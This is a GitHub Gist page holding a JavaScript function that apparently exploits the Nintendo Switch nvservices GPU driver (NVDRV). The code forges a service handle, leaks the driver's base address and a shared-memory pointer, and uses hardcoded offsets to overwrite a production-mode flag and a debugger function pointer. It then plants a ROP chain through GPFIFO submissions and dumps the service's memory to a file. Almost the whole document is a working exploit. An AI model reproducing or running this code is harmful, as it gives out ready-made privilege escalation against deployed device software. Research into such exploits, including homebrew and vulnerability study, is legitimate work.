Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
sploitcore.prototype.break_nvdrv = function(sm_handle) {
var meminfo = this.malloc(0x20);
var pageinfo = this.malloc(0x8);
// Leak nvservices base address
var nvdrv_base = this.get_nvdrv_base(sm_handle);
// Forge a new service handle for NVDRV
var srv_handle = this.forge_handle(sm_handle, "nvdrv:t");
// Initialize NVDRV
var init_res = this.nvdrv_init(srv_handle, 0x300000, 0, 0);
var nvdrv_buf = init_res[0];
var mem_addr = init_res[1];
// Open "/dev/nvhost-ctrl-gpu"
var ctrlgpu_dev_handle = this.nvdrv_open(nvdrv_buf, "/dev/nvhost-ctrl-gpu");
// Open "/dev/nvhost-as-gpu"
var as_dev_handle = this.nvdrv_open(nvdrv_buf, "/dev/nvhost-as-gpu");
// Open "/dev/nvmap"
var nvmap_dev_handle = this.nvdrv_open(nvdrv_buf, "/dev/nvmap");
// Open "/dev/nvhost-ctrl"
var ctrl_dev_handle = this.nvdrv_open(nvdrv_buf, "/dev/nvhost-ctrl");
// Open "/dev/nvhost-gpu"
var gpu_dev_handle = this.nvdrv_open(nvdrv_buf, "/dev/nvhost-gpu");
// Open "/dev/nvdisp-disp0"
var disp_dev_handle = this.nvdrv_open(nvdrv_buf, "/dev/nvdisp-disp0");
// Leak pointer from nvmap
var sharedmem_ptr = this.nvdrv_sharedmem_leak(nvdrv_buf, nvmap_dev_handle);
// Create new nvmap handle
var nvmap_handle = this.nvmap_alloc(nvdrv_buf, nvmap_dev_handle, [0, 0], 0x10000);
// Initialize a new NVGPU unit
this.nvdrv_init_gpu(nvdrv_buf, gpu_dev_handle, as_dev_handle, nvmap_dev_handle, nvmap_handle);
// Disable SM stopping
this.nvdrv_disable_sm_stop(nvdrv_buf, ctrlgpu_dev_handle, gpu_dev_handle);
// Setup write targets
var spray_ptr = utils.add2(nvdrv_base, 0xB4DB4);
var target_ptr0 = utils.add2(nvdrv_base, 0x63AFD1);
var target_ptr1 = utils.add2(nvdrv_base, 0x111618 - 0x18);
// Overwrite RMOS_SET_PRODUCTION_MODE to enable debug features
this.nvdrv_wait_for_pause(nvdrv_buf, ctrlgpu_dev_handle, target_ptr0, 0x01);
// Submit GPFIFO to plant data in shared memory
// Contents will be at sharedmem_ptr + 0x31000
this.nvdrv_submit_gpfifo(nvdrv_buf, gpu_dev_handle, utils.add2(nvdrv_base, 0xC4D5C)); // Pointer to SVC 0x55
this.nvdrv_submit_gpfifo(nvdrv_buf, gpu_dev_handle, [0x00000000, 0x00000000]); // Must be NULL
this.nvdrv_submit_gpfifo(nvdrv_buf, gpu_dev_handle, [0x42424242, 0x42424242]);
this.nvdrv_submit_gpfifo(nvdrv_buf, gpu_dev_handle, [0x00001000, 0x00000000]); // SVC 0x55 X2 (io_map_size)
this.nvdrv_submit_gpfifo(nvdrv_buf, gpu_dev_handle, utils.add2(nvdrv_base, 0xBB384)); // Pointer to memcpy (RET)
this.nvdrv_submit_gpfifo(nvdrv_buf, gpu_dev_handle, [0x42424242, 0x42424242]);
this.nvdrv_submit_gpfifo(nvdrv_buf, gpu_dev_handle, utils.add2(nvdrv_base, 0xB4DB4)); // Pointer to stack pivot
this.nvdrv_submit_gpfifo(nvdrv_buf, gpu_dev_handle, [0x00000000, 0x00000000]); // Must be NULL
this.nvdrv_submit_gpfifo(nvdrv_buf, gpu_dev_handle, [0x42424242, 0x42424242]);
this.nvdrv_submit_gpfifo(nvdrv_buf, gpu_dev_handle, [0x42424242, 0x42424242]);
// Open "/dev/nvhost-dbg-gpu"
var dbg_dev_handle = this.nvdrv_open(nvdrv_buf, "/dev/nvhost-dbg-gpu");
// Bind debugger to a GPU channel
this.nvdrv_dbg_bind(nvdrv_buf, dbg_dev_handle, gpu_dev_handle);
// Overwrite dbg-gpu funcptr
this.nvdrv_zbc_query_table(nvdrv_buf, ctrlgpu_dev_handle, spray_ptr);
this.nvdrv_wait_for_pause(nvdrv_buf, ctrlgpu_dev_handle, target_ptr1, 0x01);
// Do ROP
this.nvdrv_do_rop(nvdrv_buf, dbg_dev_handle, nvdrv_base, sharedmem_ptr);
// Close the handle
this.svc(0x16, [srv_handle], false);
// Set dummy memory state
var mem_state = [0x00, 0x01];
// Wait for nvservices to release memory
while (mem_state[1])
{
// Call QueryMem
this.svc(0x06, [meminfo, pageinfo, mem_addr], false);
// Read state
mem_state = this.read8(meminfo, 0x10 >> 2);
}
// Dump memory
this.memdump(utils.add2(mem_addr, 0x2D000), 0x30, "memdumps/nvmem.bin");
this.free(meminfo);
this.free(pageinfo);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.